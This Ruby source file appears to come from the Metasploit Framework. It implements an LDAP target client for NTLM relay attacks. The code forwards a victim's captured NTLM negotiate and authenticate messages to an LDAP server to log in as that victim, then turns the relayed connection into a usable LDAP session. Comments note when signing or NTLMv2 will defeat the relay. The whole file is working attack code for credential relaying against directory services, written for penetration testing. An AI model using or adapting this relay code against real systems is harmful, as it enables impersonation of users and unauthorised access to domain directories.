require 'rex/proto/ldap/auth_adapter'

module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP
  # The LDAP Client for interacting with the relayed_target
  # This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the
  # state requirements of the relay operations
  class Client < Net::LDAP::Connection
    attr_accessor :timeout
    attr_reader :target

    def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout)
      @logger = logger
      @provider = provider
      @target = target
      @timeout = server[:connect_timeout] || timeout
      super(server)
    end

    def self.create(provider, target, logger, timeout)
      new(
        {
          host: target.ip,
          port: target.port,
          connect_timeout: timeout
        },
        provider: provider,
        target: target,
        logger: logger
      )
    end

    alias :disconnect! :close

    # @param [String] client_type1_msg
    # @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type1(client_type1_msg)
      ntlm_message = Net::NTLM::Message.parse(client_type1_msg)
      if ntlm_message.has_flag?(:SIGN)
        logger.print_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work')
      end

      pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg)

      unless pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress
        return Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult.new(
          nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE
        )
      end

      server_type2_message = pdu.result_server_sasl_creds.to_s

      Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult.new(
        message: Net::NTLM::Message.parse(server_type2_message),
        nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
      )
    end

    # Determines whether the relay connection originated from an HTTP server.
    #
    # @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise.
    def is_http_source?
      @provider && @provider.class.name.to_s.downcase.include?('httpserver')
    end

    # @param [String] client_type3_msg
    # @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type3(client_type3_msg)
      ntlm_message = Net::NTLM::Message.parse(client_type3_msg)

      # Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing
      # non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue.
      if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source?
        logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
      end

      pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg)

      case pdu.result_code
      when Net::LDAP::ResultCodeSuccess
        nt_status = WindowsError::NTStatus::STATUS_SUCCESS
      when Net::LDAP::ResultCodeInvalidCredentials
        nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
      else
        return nil
      end

      Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
    end

    # Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client.
    # This is mainly used to setup an LDAP session.
    #
    # @return [Rex::Proto::LDAP::Client]
    def create_ldap_client
      client = Rex::Proto::LDAP::Client.new(
        host: @target.ip,
        port: @target.port,
        auth: { method: :rex_relay_ntlm },
        connect_timeout: @timeout
      )
      client.connection = self
      client
    end

    protected

    attr_reader :logger
  end
end

